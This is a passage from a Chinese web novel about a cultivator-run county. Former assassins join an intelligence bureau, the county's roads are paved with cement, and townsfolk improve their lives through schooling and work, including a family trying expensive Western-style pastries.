毕竟他手头钱有限,且方大人是个好官,仙师也对他有恩,做人不能太过分,他倒是图痛快将廖尚书杀死,惹得事情闹大后,反而会对仙师日后攻占黎州造成坏的影响,还不如乖乖加入等吩咐,反正他早就给这廖尚书下了毒,想对方什么死就什么时候死,也不急这一会。 于是,便被慎刑司收编了,如今初六不仅仅是关注廖尚书,且更多的还要负责关注元城其余人的动静。 很快,从风仙县镖局过来找初六的一行死士也陆陆续续来了。 这些人自愿结为一个报仇小团体,以初六为首领。 但等找到过往首领时,发现对方并非忙着打探廖府,倒是像是忙着干别的业务,这会各个面面相觑。 初六也是愣住了。 两方微微僵持,而后等听明白这些人的想法后,初六觉得有点头疼。 先将情况大概给他们说清楚,大意便是如今这廖尚书生死已经捏在他手里,只是不能随便死,要等到一个合适的时候才可以去死。 且他如今已经算是加入风仙县,为对方工作了。 若是他们真心想继续复仇,他可以试试看问问慎刑司还收不收人,若是并不想继续,那便可以继续回去风仙县开始新的人生。 毕竟初六在看过风仙县和外地的区别后,他自认为若是放弃过往,在风仙县重新开始,未尝不是一件好事。 这一番真心实意的劝阻确实有用,有几人思索一番选择退出,毕竟廖尚书的死已经板上钉钉。 而剩余大部分的人则是想加入慎刑司。 初六蹙眉,而后警告。 “这加入慎刑司并非是玩笑话,一来是任务危险,不知何时便会死亡,二来是需要发誓,若胆敢泄露秘密,便会当场死亡。你们都是知晓仙人能耐的,所以这点要想好了再下决定。” 其中一人半跪着开口,眼角湿润。 “首领此番言语我等自然清楚。在家人死后,我等如同无根浮草随波逐流,好在在风仙县看到了另一种活法,如今为仙师效力便是我等的心愿,如果我等还能为仙师所用,让这世道更快的被仙师庇护,这便算作我等这辈子能做的唯一好事了。” 这话说得很是诚恳,和当时初六的心态很是接近。 他的念想已经破灭,人如果不给自己找一个念想,是没法活着的。 初六不自觉攥紧拳头,又故作冷淡。 “我只是提一嘴,至于用不用是仙师,是方大人说了算。若是对方不用,你们就好好回去开始新的生活吧。” 和手下共事许久,初六其实打心眼里不愿意他们和他一样拼命,他更希望他们能放弃过往恩怨,忘记自己曾经是个死士,好好在风仙县过好当下,但又换句话说,他这样做,又何尝不是替对方强行决策,对方的苦痛,对方的纠结,又何尝会比他少? 如今叹气,只能看慎刑司是如何回话的。 第254章 大变化 慎刑司很快就将这消息回递给了方知意,在了解到情况后,方知意自然同意。 有仙师仙法约束,还能白白得到对仙师忠心耿耿的一群人,再加上这群人各个手上功夫都很可观,若是加入慎刑司的话,日后对于她们绝对是个助力。 且想进入慎刑司,武功要求很高,而这些人是被廖尚书精心挑选出来充当死士的,想来武功方面完全合格。 上次方知意还在着手搭建通讯队伍,而此刻重要的队伍内,已经全部配备上永道宫的通讯弟子们。 这些弟子们大都会跟着官方游历一年,在一年后返回永道宫,同时开始进行考核,等通过后即可学习《青梧引》。 如今因需要在元城配备一通讯道士,于是这实习小道士便被设置在了李思待着的地方。 一来是往常慎刑司的人没个固定居所,二来是慎刑司的工作较为危险,若是跟着他们住的话,容易让这通讯道士惹火上身。 三来便是李思这里也需要经常和赵金构,和方知意那边通话,时刻等待命令。 于是思索一番,这才选择将这通讯道士设置在此地。 除了李思此地设置了这通讯道士外,别的譬如每个县域,潜灵山上,以及重要的行商内部都有跟着通讯道士,如此一来,日后通讯定能达到秒接收。 至于今日将这群人收纳入慎刑司,自然也是通过这通讯道士的符咒传递话语的,等到他人得了口谕,再用信鸽带过去。 因都在元城,自然信鸽的效率大幅度提升。 而等着方知意回话的初六也是有些紧张。 ——他说不清楚自己到底是想让手下们加入还是看他们乖乖回去。 只能等待慎刑司的裁决。 很快,信鸽款款而来,初六展开那信件后微楞。 其余人忙抬头去看,“首领,如何?” 初六愣神,而后看着手心里展开的信件叹息。 “同意了。但你们必须要发誓。” 众人早就做过心理准备,早就打算给仙师效力,自然二话不说应了,等到一切妥当,按照那信件上所说,初六可以负责继续管理这些人,毕竟原先他就用着这些人用顺手了,也更了解每个人的性格。 初六颇为感动,毕竟很少有人愿意原班人马的接受他们加入,毕竟很怕像他们这情况的进入慎刑司后独立成一个小团队,日后若是生出了反抗的心思,对于慎刑司来说也很麻烦。 但对方却完全不曾有过这等忌惮,甚至还在其中提及日后应当给他们开个不同的分队,每个队负责干不同的任务,也更有条理。 不说别人,初六看到这里也不得不佩服仙师,佩服方大人的心胸实在是宽广,对方似乎完全没考虑过他们可能会反叛的可能。 到底是太过于相信他们,还是说对仙人的术法约束很是信任? 初六感慨归感慨,活还是要做的。 毕竟加入慎刑司,官府还会给他们发工资,自然不能什么都不做。 此刻将任务挨个发下去,不同的人适合干什么任务,初六心里都有底,这手下人加入的好处便是他的压力瞬间轻松许多,人手多了,情报自然打听得更为顺畅。 且有了他们的加入,慎刑司总算能将原先布置在黎州元城的人手抽调出去,转而去幽州坎城蹲守。 毕竟初六一行人比慎刑司寻宁一行人对黎州元城更熟悉,做起事来效率也更高。 风仙县。 如今全县水泥地已经完全铺设完毕,前后所需花费要比铺设三合路便宜许多。 且因后期举办各家各户门前评比的活动,倒是用极小的代价换取了极大的收获——几百两的东西,一些水泥粉末,换来的是全县水泥路面的全面铺设完工。 先前不曾铺设完工时,可能对比不出太多,毕竟路旁还会堆积沙土,车马还会时不时堵车,但如今全面铺设好的风仙县和原先的风仙县可谓是变化颇多。不少人啧啧称奇。 奇怪,明明只是路变宽了,变平整了,但给人的感觉却异常大。 尤其是从风仙县的正大城门进来,一打眼看到的便是本县拓宽后铺设的水泥大道,路面平整干净,川流不息,等到晚上沼气灯点燃后,映得整个风仙县恍若隔世之地。 最为重要的是,路面变得平整,规划相较于先前有了数倍提升,如今容易堵的路段再也不堵了,且车马通行速度均加快了不少。 同时,路面平整带来的另一个好处便是延长了车轮的使用寿命。 当然,为了保护路段,对于载货量,风仙县有着很严格的查处登记。 除了风仙县外,别的县域的主次道路也已经修建完毕,因为人群还不够密集,所以暂且还没轮到他们自发修建门前道路时。 但即便如此,也可以说仙师旗下的县域和别的地方自是不同。 这点不同对于近些日子没回风仙县的人,或者是头一次来风仙县的人来说更是如此。 譬如前不久离开风仙县,去外地跑商的武哥一行人。 先前他和那群被从黎州出发,被廖尚书撵出去的死士家属们一道上路,前往这风仙县。 那群人留在了梁县暂为落脚,而当中的二凤则是跟着武哥一行人来了风仙县。 二凤这女娃娃心思善良又活络,武哥倒也愿意和她搭话,尤其是从那扫盲班出来后,二凤还给自己找了工作,这点倒是让武哥觉得这小姑娘很是懂事有能耐。 他和手下的几个兄弟则是进入了一家私人商行跑商,因原先也有过跑商经验,很快一伙人攒够了成本,又拼凑一番,自己索性也组成了一个小商队跑商。 因二凤机灵,还记得当初他的好,武哥素日也会帮扶这小姑娘一番,毕竟这个年纪还要带着弟妹,实在是不容易。 武哥甚至想着日后若是跑商跑得不错了,他找机会可以帮二凤介绍个别的工作才是。 这次是他们一行人跑商的第五次了,可谓总体上还算平稳。 最大的原因也是因为城内有符咒售卖的缘故。 虽说需要花费一些银两,且还需要给官府报备后才能购买,但不得不说,这符咒对于他们来说,可谓是保命符咒。 因他们规模较小,所以一般武哥只是在明州境内跑商,平常不会跑得太远。 这次是个意外,因幽州最近需要不少染料和工具,配送的活计多得很,虽说头一次跑这么远的商,但这价格实在是给得高,武哥一行人犹豫一番还是决定接了。 ——这单若是成了,日后他们也算是可以开启远距离跑商了,且最为重要的是,这单给的钱足够他们再将商队扩大一些,日后便能装更多的货物,赚得也更多。 也是他们赶上了好时候,路上还遇到了不少都是前往幽州的商队,为了安全,他们自然是互相间隔一小段距离,直到双方的共同行进路线结束才算完事。 武哥一行人便很幸运,路上和别的商队同行,又没遇到过流寇,简直顺利得不敢置信。 就是跑商一次时间挺长,尤其是上次他们为了省事,急匆匆的从仙师旗下的别的县域进行采购,连风仙县主城都不曾进去过。 此番好些日子没回风仙县了,一众人主要是想回去进一些酒水,毕竟酒水实在是味美,若能运气好进上一些,日后赚得更多,就算酒水轮不到他们购入,买点别的也成。 毕竟别的县域目前只开通了地瓜厂,豆腐厂的相关产品,细盐的话也可以采购。 但总归来说还是可选择性太少。 因此番跑商很顺利,几人心情都很不错,直到进了风仙县,眼前豁然开朗,马匹跑起来顺畅无比。 驾马的武哥瞪大眼睛,惊得说不出话来。 ——靠,这也就一些日子没回来,怎地本县变化这么大? 这路面这番细致不会全部铺设了三合土吧? 这得花多少钱啊! 要知道三合土路以往可是只有皇帝才能走的,如今竟然他们也能走了? 不过别说,这三合土路面感觉还真不错,马车行走在上面像是行走在水面上一样丝滑,不像以往他们坐马车还要被颠簸得飞起,如今坐在马车里,竟然是察觉不到外面丝毫的颠簸。 武哥起初很是惊诧,但很快就劝好了自己。 应当是主道路维修了,别的道路想来暂时轮不到,不然这花费实在是太大了。 这会享受着平稳的路面,吹着晚风,武哥心里还是甜得和蜜一样。 不管怎么说,这感觉是真不赖啊! 哪怕只有一段他也觉得好得不得了了! 本是这么想的,直到马车一路行进,而他目见之处均为平滑的三合土路面,且穿过较为偏僻的小道时,赫然发现就连这居民巷子里竟然也铺设了三合土路面,一路下来,畅通无阻,且这些居民门前还有不少人家装饰得甚为漂亮,还种了花花草草,一时间,武哥都差点要忘了这地原先的模样了。 努力在脑内回想,武哥只能想起先前这路面是砂石路,马车走起来叮咚作响,人坐在里面随着路面起伏,尤其一到下雨天,更是难走。 只是如今他们就出去了两趟,回来后就有这番翻天覆地的变化? 一行人面面相觑,有人试探道:“老天,这不会是全县都铺了三合土路面吧?咱们一路走来,就没看过不平整的地方!” 这确实,几人都不是瞎子,这会心里疑惑万分,而后好容易走到他们共同租的房子前停下时,倒是隔壁的门慢慢打开,原来是二凤。?奇怪,她原先不是住在上工的地方,如今是换了新住所? 武哥心中好奇,又看她身旁那人。 年岁稍大,看着像是家中长辈,正和她说着什么。 在看到武哥时,二凤忙和对方打招呼,而武哥也决定将满腹疑问都问清楚。 第255章 选择 这站在二凤身旁的人不用多说,自然是二凤的父亲。 她父亲武艺高强,虽说年纪稍大,但架不住实在是可靠,这才能被廖尚书选中当了死士。 当初她父亲人消失后,二凤说伤心自然伤心,但比起伤心,她更想着要将一对弟妹照料好,毕竟父亲当死士时,她早有这个觉悟了。 原是这么想的,结果却被那廖尚书赶了出来,没了住的地方,也没了钱,当初二凤只觉得心中一片绝望,父亲已死,她一个人还要养活一双弟妹,在那元城又如何能找到活路? 好在是她还能和其余的死士家属一并凑在一起,抱团过活,一众人一路上好容易最后才落脚在风仙县,眼看日子能过得更好一些,二凤靠着自己的100文的日薪倒也能将弟妹养活。 且这风仙县还有专供孩童可做的儿童岗。 ——清晨给订购了报纸的人家去送报。 这活计不累人,一般每人就负责两条街道的,身后背着小背篓,送一个时辰也能送完,大概能拿25文,对于孩童来说已经算是很好的活计了。 譬如二凤的弟弟妹妹便接了这活计,负责送报纸,两个孩子每日也能赚个50文,也算能贴补家用,且风仙县物价便宜,她做工的地方还包吃包住,虽说不能给弟妹一起吃,但二凤可以花内部价给两个孩子买点东西吃。 日子便这样过,直到她父亲终于出来。 因武功高强,很快便去了镖局应聘成功,如今也算是能月入15两以上了。 既然收入高了,二凤和一双弟妹便不用再挤在客栈内,一家人很快便租了个房子住了进去,租金也便宜,还带了个能种菜的后院,二凤很满意。 等到迎接父亲回家时,到意外遇到了武哥。 她以往多受对方照顾,自然要打个招呼。 给父亲说了几句后,她父亲知晓武哥此人对女儿颇有照料,自然请他进家里喝口水,再说会话。 眼看自家父亲已经去出门采买食材,打算请武哥在家里吃口饭菜,这会二凤道:“武哥,你可算安全回来了,我还担心你遇到点什么事了呢!这幽州乱不乱?” 武哥年纪比二凤大十来岁,又比二凤父亲年轻,正是三十来岁的年纪,先前他曾说过他要去幽州那条路线跑商,如今回来了自是将路上大概告知二凤。 二凤原先只是从黎州那边过来过,此番听得好奇。 “武哥,这和我们从黎州来到风仙县相比难度如何?” 武哥回忆这次跑商,要他说,可比明州那次安心多了。 “比咱们先前从黎州过来安稳。倒不是说幽州更安全,而是最近前去幽州的商队多,结伴而行,倒是不曾遇到什么危险。” 对了,说起这事,武哥不自觉想到先前他们临出发前听人说过的话。 说的便是幽州那边有一县域,名为合县,此县域目前完全被流寇侵占,他们此行最好是避开这个县城,最好是连同附近的县域也挨个绕开,省得惹麻烦。 这消息还是丛喜传回来的,当初他就在合县吃过亏,自是早就将消息传递回去。 且他们这些跑商之人为了更安全,更方便高效的跑商,早就建立了一个公共商队消息驿站。 这驿站会将大大小小的跑商消息汇聚起来,不仅仅包括有需求的买家会在其内下单,更是包括线路更新,哪条线路更安全,哪个县域物美价廉,更适合落脚。 话说这消息驿站本身就是一消息灵通之人建立起来的,此人花了一笔钱建立驿站,整理消息,其中大部分消息也是对方花钱收集而来的,若是哪个商队需要消息,那便需要缴纳会费后进来才能查看。 因这驿站着实方便,且会费价格不贵,所以几乎市面上跑商的都会加入其内。 除了缴纳会费外,本消息驿站也会收纳新的情报。 比如有更好走的路线,亦或是及时更新哪个点有流寇,哪个县域有变动,只要被评估有价值,便会获得额外点数。 这点数可抵扣会费,如此循环往复,倒是形成良向循环,将这消息驿站完善得更为精准。 至于这合县的消息,自然也是武哥在其内知晓的。 不说别的,单论这消息就能救命了。 等将幽州情况大概说了一遍后,武哥问了问二凤他的情况,等听到二凤找到了父亲,且如今日子过得不错后,武哥倒是真心替她高兴。 “原来我就觉得你能把日子过得更好,如今你父亲来了,想来日后日子只会过得更好才是。对了,这县内怎么全部铺上了三合土?” 武哥总算是问出了疑惑,二凤笑着摇头:“武哥,这不是三合土,叫做水泥路。” 于是二凤很快便将他们一行人离开后,风仙县的变化一一道来,等听完这道路是怎么从主路,次路,又让各家各户的门前都修建好后,武哥惊叹之余也好奇。 “那像我等这样出去不在家的,门前是谁给修的?” “像是这情况,大都是官府在核实后给统一修了,不过坏处就在于不能评奖,且没有多余的水泥。之前官府给挨家挨户发放水泥,我们家不仅仅修路够用,还有剩余的可以留着用在别处呢。” 武哥心想原来是这样,顿时对官府这操作佩服得很。 这法子能最大化降低成本,不过是多了点水泥而已。 二凤还在兴奋开口:“武哥,不说咱们风仙县,就连别的县域也铺设了水泥路,不过都是只铺设了主路和次路。而且这些日子,好几个县都开设了新的厂子,我也打算看有机会能不能进入厂子内去,毕竟里面更安稳。” 两人聊了几句,二凤很欣慰。 “如今我爹回来了,我的弟妹便能去上学了,家中也不需要他们再赚钱了。” 一切都在往好的方向走,这要是在从前,二凤根本不敢想这样的好日子能轮到她们头上,当初对她来说,只要一家人吃饱穿暖,素日里弟弟能跟着爹再学学武术,日后有个吃饭的手艺就很好了。 而如今到了这风仙县,吃饭穿暖早就成了最基础的东西,她不再仅仅是想着活着,更想着活得更好。 武哥倒也感慨万分,琢磨一番后开口:“二凤,依我看,你不如也去那学堂读书去,你岁数还小,日后读出来想来能干更轻松体面的活计,何苦为了眼前一时赚钱而耽误以后?” 武哥倒是真把二凤当妹妹看待,虽说如今风仙县大部分成人还没意识到读书的重要性,但武哥却觉得这读书绝对有好处,不说别人,就连他都打算跑商赚够了钱后也去读书,日后想来会更有用处。 二凤稍稍琢磨一番。 ——她原先只是打算进入厂内即可,但一经武哥的劝说,竟也开始心动。 一年才一两银子,她一个月工钱都有3两了,完全能读得起,且目前还推出了更适合她们这些上工之人的读书时间。 从下工后,可以一直读书读到深夜,唯一多的花费便是需要缴纳一笔燃料费,毕竟晚上沼气灯得开着烧气。 不过价格很低廉。 且最重要的是,二凤有难言之隐,她从小就喜欢邻家哥哥初六,这感情在对方还曾救过她一次后更为浓烈,如今意外相见,初六已经不再给廖尚书当死士,她是不是日后可以慢慢试着和对方接触一番? 但她其实有些自卑,初六因为是廖尚书的得力助手,当初是被专门培养着读书识字的,在二凤看来,对方又识字又武功高强,脸也好看,日后就算找妻子也未免能相中她。 但如今在武哥的提议下,二凤心想不如去读书,一来是日后她读书认字,两人在一起不至于说没有共同语言,二来是她就算日后和初六哥不在一起,她靠着读书得到的毕业证想来也能拿到更好的工作。 几乎没犹豫,二凤很快便选择读书。 至于武哥则是也打算报名。 总归想得差不多,日后多读书肯定比少读书要好。 万家。 距离万惠一家人在风仙县落脚已有两个多月,因日后火铳的需要量很多,所以不知情的万惠如今还很忙碌,每日都能赚个四百多文。 而万氏则是稳稳当当的赚个150文,日常还能给家里带回来点豆腐,一家人的日子过得很是惬意。 不说别人,夫妻二人还从没想过他们能过上这般好的日子。 吃喝不愁,还能存下钱,孩子还能去学堂,无论怎么看,万惠都觉得这日子过得实在是舒坦,未来似乎是金灿灿的,对他招手。 因今日是周六,不用上工,万惠便早早起床,去了他早就想去的张氏点心铺。 先前他就想给妻子孩子买点这县内最出名的糕点尝尝,只是原先苦于刚落脚本县,手头没钱,如今夫妻二人都有工作,且还有一些存款,他便又想到了这件事。 他没告诉妻子,主要也是先前说了一嘴,一听到这糕点竟然好几百文才一斤时,万氏心疼钱,自然不肯吃。 但万惠看得清楚,妻子明明也是好奇心动的,只是顾虑太多。 于是万惠打定了主意,想让妻子孩子尝尝。 因听闻这张氏点心铺的热卖款不到晌午就能卖完,于是特意赶了个早,打算挑几个最受欢迎的混装起来。 等到一早这点心铺子开门营业后,一股浓烈的香甜味便充斥而来。 万惠忍不住吸了吸鼻子,他早上没吃饭,这会闻着这香味更是觉得香得让他想一口吞进去。 因他来得早,这会身后排着不少人,万惠第一次来,看着收拾得干净的柜台上摆放着香喷喷,整整齐齐,各式各样的点心,这会有些无措,不知该买哪一个,也怕身后的人等急了,忙仔细去看这些糕点。 第256章 点心铺子 仔细一瞧,万惠很快便察觉到一丝茫然。 为了让众人都能认得出这些糕点的名字,这些名字都是做了双重处理的,下方汉字,上方拼音拼注,这样确保众人都能看懂糕点名字。 只是万惠很难从拼音里猜测到这些取名的意思 譬如何为肉松小贝?何为泡芙?还有什么叫做面包卷? 单个拼音都认识,但凑在一起,万惠便觉得自己是看不懂了。 低头一看,这肉松小贝看着外面裹着一层金色的毛茸茸的玩意,闻着一股浓厚的奶味,还夹杂着一点咸味,一时半会万惠也看不懂这物到底是怎么做的,至于剩下的几样,他是压根更看不懂。 这会眼看身后排队的人越来越多,万惠一咬牙,忙开口:“这几样都给我装点,一共要一两银子的。” 说实话,他实在算是出血了,毕竟他和妻子一个月只赚十两,如今要花费一两买糕点,无论是搁在以前还是现在,都觉得奢侈无比。 但实在是无奈,毕竟这张氏糕点铺的大部分糕点一斤价格便高达几百文,轻轻松松这点钱就能花出去了。 不过一两银子应当也能买两斤糕点了,混合着搭配的话,倒是能尝到不少不同的风味。 负责给万惠装点心的不是别人,正是原先因家暴和杨三和离后带着女儿的杨娘子。 先前她顺利在本县的和离后妇人保障部门学习到了制作点心的手艺,辛苦学习快半个月,倒是最终凭借着不错的天赋被点心铺子招聘走。 先前杨娘子很是不安,毕竟她一个妇人,带着闺女,两个人无依无靠的,日后甚至不知道该如何生存。 但等她到了那张氏点心铺子后,这里包吃包住,因干的活计相对来说复杂精细,对手艺的要求高,所以对应的,日薪也高,为200文一日,若是做得好了,每个季度还有奖金。 200文的日薪对于杨娘子来说实在很高了,先前她没能得到这活计时,别说200文,她甚至没有个能上工赚钱的地方! 更何况吃住都在店铺,这200文可谓是都能攒下来。 加上张氏点心铺子内的点心价格高昂,平时虽说大部分时候不能吃,但总归有东西剩下来的时候,等有剩余时,掌柜的便会让她们都带回去给家人尝尝,但严禁售卖,省得耽误店铺的生意。 店里人多,每个人分一些的话,其实数量也就够自家吃个零嘴,再加上店里工资高福利好,也没人想不开非要做那些二次售卖的事,还是明确被禁止的,大都老老实实给家里人尝鲜吃了。 而杨娘子也吃到了好几次,中途还换着花样——主要也是因为张氏点心铺实行特殊规定,若是一款点心连续三次卖不掉,日后会减少此款点心的生产,等若是来找的人少,那便干脆不做这款,改做新款便是。 且除了最不受欢迎的点心会被替换掉,那些过于复杂的点心也会被替换,只有在特殊日子才会重新上架售卖几日,时间较短。 先前杨娘子还不理解为何如此,但当过年过节时,她累得双手和胳膊酸痛时便知晓为何了。 不说别的,这复杂糕点确实废人啊!就这还是只卖几日的,若是天天卖估计她们早就累倒了,若是非要将这些点心应用于日常上的话,想来还需要再多雇人,这样一来便不划算了。 不过好在是虽说过年过节忙了些,需要做那些复杂糕点,人会累一些,但相应的工钱会增加,按照本县律法,过年过节当日需要付给三倍工资,且其余不是节日当天时,掌柜的也会在她们忙完了后给众人分一些糕点带回去,折合银两也有不少,大伙都很知足。 杨娘子便很知足,她如今靠着点心铺的这活计,将女儿送到了学堂上学读书,平常吃喝不愁,攒下的钱都存着,看日后可以攒给闺女用,或者是等女儿再大一些不方便住店里时,她们可以去租个房住,总归一切正在走向安稳。 今个一大早,杨娘子忙完后厨后,因为前面售货的员工有事,于是被暂时调离岗位,先来前面顶替半天。 她很少来前台负责售货,主要也是因为相比于介绍点心,杨娘子更喜欢在后厨安安静静的做点心。 往日点心铺子最多来的人便是那些一看穿衣打扮就相对讲究的大户人家,但也合理,毕竟几百文一斤的点心,本身对应的市场便是高端市场,换句话说,点心就算是不像张氏点心铺这般贵的,因为原材料都要用油用糖,哪里有便宜的,只是说相对便宜。 往日来的大都是大户人家的管家,丫鬟,小厮,或者干脆是小郎君本人来购买,也有穿着打扮平常的人过来,一看便是求人办事用,要求用礼盒打包好。 今日看眼前万惠,杨娘子倒有些摸不着头脑。 她往日经验少,起码在她当值前台时不曾看到过像万惠这般衣着简朴,要求古怪的客人。 本着负责的态度,杨娘子笑眯眯问道:“客人可需要礼盒包装?要多收一份礼盒钱。” 万惠听清楚这话后,忙摇头,本就黑的脸庞一红起来更黑了几分。 “不用,就是给自家人吃我妻子和孩子还不曾吃过,我想让她们都尝尝这味” 杨娘子心想这倒是个稀罕事,一般来说像对方这样收入的人家,很少有人过来专门为了给自家人尝尝才买的,大都是逢年过节需要送礼才会过来。 万惠有些羞涩,这会看都不敢看对方,只想着等对方赶紧装完了好让他离开。 杨娘子倒是感慨这人和人是不一样。 像她那个丈夫,杨三只会家暴她,当初她和孩子要靠杨三供养,这才迟迟离不开。 而眼前这人,看着家里也不算是特别有钱的,却愿意为了妻子孩子,肯花这份钱,费这个心思。 杨娘子颇为感慨,这会不免多说了几句。 “我给你多装些泡芙吧,轻,小孩子也爱吃。” 别的糕点压重,不如这泡芙实惠,且以往属这泡芙卖得最快,不到中午就卖完了,别的款陆陆续续还能继续卖,直到下午三点多都能卖得差不多。 万惠第一次买,什么都不晓得,自然是对方说什么他听什么,忙点头道谢。 杨娘子又指了指一旁切成小块的糕点。 “客人,那边是我们店铺的新品,可以试吃。” 万惠这才小心翼翼的将眼神挪过去。 先前他还好奇为何一旁的碟子内放着数块切成小块的点心,这会倒是明晓了。 杨娘子结账速度很快,毕竟后面排队人不少,若是磨磨唧唧,想来后面的客人会不满。 她收了钱,将点心递过去,又让万惠在一旁试吃,不耽误后续的客户挑选结账。 万惠慢慢盯着碟子内的点心看着,慢慢品尝了其中一块,听说这叫做奶贝,他什么都没吃过,这会自然不晓得为何叫这个名字。 等到一口下去,那绵软细腻的口感几乎瞬间就征服了万惠。 当然——他也没吃过什么好玩意,但此刻,万惠却觉得这东西是他吃过的最好的。 这外面还包裹着一层白色的略带咸味的奶油,“奶油”这个词也是他从店员嘴里得来的。 据店员介绍,这奶油打发起来很是费劲,先前是男子负责打发奶油,如今为了效率都是用工具。 万惠听不太懂更专业的,只觉得这东西好吃,有牛乳的香甜,却不腻人,但口感又是从未体会过的绵软细腻。 他吃完试吃的一块后又尝了一口名为雪媚娘的试吃。 这东西咬起来略微弹牙,皮冰丝丝的,雪白,内部裹着凉凉的奶油和水果。 万惠只觉得惊为天人,心想怪不得这价格这么贵。 又觉得这么好吃的话,贵一些似乎也合理。 连着试吃两款后,万惠不敢继续试吃了,生怕店里恼了,也怕被后面排队的人看不起,他忙将碟子放下,这会拎着手里的点心迅速出了门。 回头一看,排队的人还乌央乌央的,万惠抹了把汗,心想还好他早些来了,不然等买到了都几点了,他还得回家帮娘子干活呢!这会忙拎着点心直奔家中。 因今日夫妻二人都不需要上工,万惠一早上起来时,先给家里的水缸挑满水——虽说这房子距离井水也不算远,至少比他们原先在元城时要来得近,但总归比那套年租金8两的要远点,万惠心疼妻子,不愿意这苦力活让妻子做,平时都是一大早挑满水才去上工的。 今日亦是如此。 等他回到家时,万氏并不知晓他出门是为了给她们买点心,只是像往常一样做了早点。 不过倒也好奇一大早丈夫人去哪儿了,但左右一想,可能是人去忙别的了,比如厂子内部加班,或者是别的,反正万氏对丈夫很是放心,他一向只忙正事。 早点的话,万氏蒸了蛋羹,上面撒了一点葱花,倒了几滴酱油和香油,闻起来鲜香扑鼻,还蒸了点地瓜,清炒了一个小青菜,简单却温馨。 万惠回来时感觉到了热乎的锅气,心想他回得正好,刚好让妻子孩子一并将这糕点吃了便是。 万氏听到门响了,刚想抬头去看,便看到了丈夫拎着个什么东西进来,等离近了一看,便看清楚那油纸包上写着的拼音。 张氏点心铺。 万氏眉头一跳,还不等开口,万惠已经将油纸包打开,捧着过去给她看。 “娘子不要骂我,从我来到这里的第一日,就想让你和孩子尝尝,虽然贵点,但偶尔尝尝也无碍。” 看着丈夫这样,万氏想说出口的责怪也不想说了,本来她也想试试,只是因价格昂贵不愿意而已,如今既然丈夫已经买了回来,还不如放轻松好好尝尝,也不枉他一大早排队去买。 第257章 行宫 因万惠已经将那裹了油纸包的包装拆开,等到一打开,一股奶香味瞬间飘了出来,先前在屋内的两个孩子都跑了出来,这会围着这点心直转悠,小眼睛瞪得很亮,小鼻子嗅了嗅糕点,一副陶醉的模样。 “爹,这好香啊!”小姑娘年纪更小,这些日子被养得白嫩许多,小脸蛋都开始变得圆润,这会口水都要从嘴巴里流出来。 “爹,咱们自己吃还是送给别人呀?”这是年纪稍大一些的儿子,已经晓事,知晓家中并非富裕到能买这么昂贵点心。这会自然先开口问清楚。省的一会误了事。 万氏心里一酸,开口:“给咱们吃的,不送人。” 这话一出,两个孩子立即兴奋起来,就连以往相对成熟的万家小郎君也变得多了几分孩子气。 万惠心里也酸涩,心想好歹他是买了,这会忙让妻子和孩子们吃。 “尝尝这个泡芙,先前那点心铺子的员工特意告诉我的,好吃!” 万氏指尖捏着这柔软金黄的外皮,心想这点心是怎么做的,倒是绵软。 等到一口咬下去,那里面白色的奶油竟然“噗呲”一下挤了出去,差点漏出去,万氏忙用手扶着,好在是有惊无险,等到慢慢品鉴这滋味后,万氏心中暗自称奇。 ——外皮绵软无比,有些韧劲,还有些奶香和麦香,里面的“奶油”,这还是丈夫告诉她这叫做奶油。 这奶油倒是不腻人,是她从未吃到过的口感。 听丈夫说,这奶油是用牛奶打发的,只是万氏很疑惑那牛奶明明是液体,是如何打发成如今这奶油的质地的? 再试了试别的甜点,均是让万氏眼睛一亮又一亮。 因其内装着的甜点品类较多,万氏每样都尝了点,这眼睛几乎要笑弯了。 怪不得价格卖这么贵,竟然是这般好吃的,里面还放了不少的油糖牛乳,还有肉松水果,还有那些个干果,各个都是好东西,吃起来滋味丰富,怪不得卖这么贵。 万氏没敢吃太多,这会发现丈夫竟然一口都没吃,忙拉着他让他也尝尝味。 万惠忙摆手。 “先前我在那店里的试吃盘里尝过了,你和孩子吃就行了。” 万氏瞪了他一眼。 “我还不了解你?薄面皮,撑死了试吃一两口,还能多吃了?赶紧尝尝,不然日后咱家都别买了,也都别吃了!” 万惠: 既然妻子已经发话,且还准确的说出他之前的试吃状况,万惠脸色一变,这会叹了口气,小口小口的尝了尝他不曾吃过的东西。 不得不说,这滋味确实美妙,怪不得这张氏甜点铺子能这么红火,这东西,他连续吃个几天几夜都觉得好吃啊。 两个孩子更是如此,小小年纪,正是贪吃的时候,又经历过去年的大旱,哪里曾吃过什么好东西,这会头一次吃这般精细的点心,吃得小脑袋埋在里面,抬不起头。 奶油不小心粘在手上,两个孩子都能给舔得干净。 这一斤的糕点本就不多,再加上还是四个人一起吃,夫妻二人都没吃太多,也就尝了尝,剩下的几乎全给了孩子。 两个孩子吃得意犹未尽,但依旧乖巧的表示自己吃饱了,很久很久都不想再吃了。 ——主要是怕花钱,毕竟家里不够资金给经常买。 万惠和妻子对视一眼,两人岂不明白孩子心中所想? 这会只能想着等逢年过节时再买点。 话说先前在那比赛中两人获得了三等奖,拿了30两银子,又拿了五样物品奖励,这间接的给家中攒了一笔不小的收入,毕竟他们夫妻二人每个月赚十两,30两也需要三个月才能赚到。 万家的生活过得很是如意,其余和万惠一并来的元城工友们则是各个眼热。 这万惠运道好啊!自己站稳了脚跟不说,就连妻子孩子也接来的这么快,这会他们中的不少家人还没找到太合适稳定的工作,但万惠的妻子人家已经进了工厂,有了稳定收入和福利,且两人还白得了三十两,这事放在谁身上都让他们觉得羡慕不已。 不过日常打趣完万惠后,大部分人也还算心满意足,毕竟这里实在是好找工作,就算是暂时没能进入工厂那样稳定的地方,但别的零工也有,且最低价格都是日薪一百文,工作强度也比原先小多了,家里人若是潜心寻找的话,很快便能找到合适的工作,而非在元城死活找不到工作。 即便是打打零工,因风仙县打零工活计的选择很多,所以压根不用担心没有活计可做,一来二去,这些匠人倒也过得还算自在,只是偶尔会羡慕万惠这家伙一步到位,省得日后操心,他们还需要时刻注意着新开业工厂,看日后有没有机会。 因这一批匠人很是好用,方知意很快便琢磨着写信给朝廷再要一批次的匠人,毕竟已经过了有三个月了,再要点人很是合理吧? 倒也是凑巧,还不等她写信,那负责出使风仙县的使臣杨舒又来了。 话说杨舒心里也苦,他也不想来啊!实在是朝廷逼得紧,主要让他来查看一番三百四十匠人情况如何。 当然,绝对不是朝廷开始做人了,担心匠人命运,而是先前的线人不曾透露情报回来,这让朝廷很是谨慎,生怕是出了什么变故,索性一不做二不休,便让杨舒过来看看情况。 被迫出使风仙县的杨舒:好好好,我的命不是命,是你们好奇的工具。 但一颗脑袋和身后家人的一堆脑袋,杨舒还是知道自己该选哪个的。 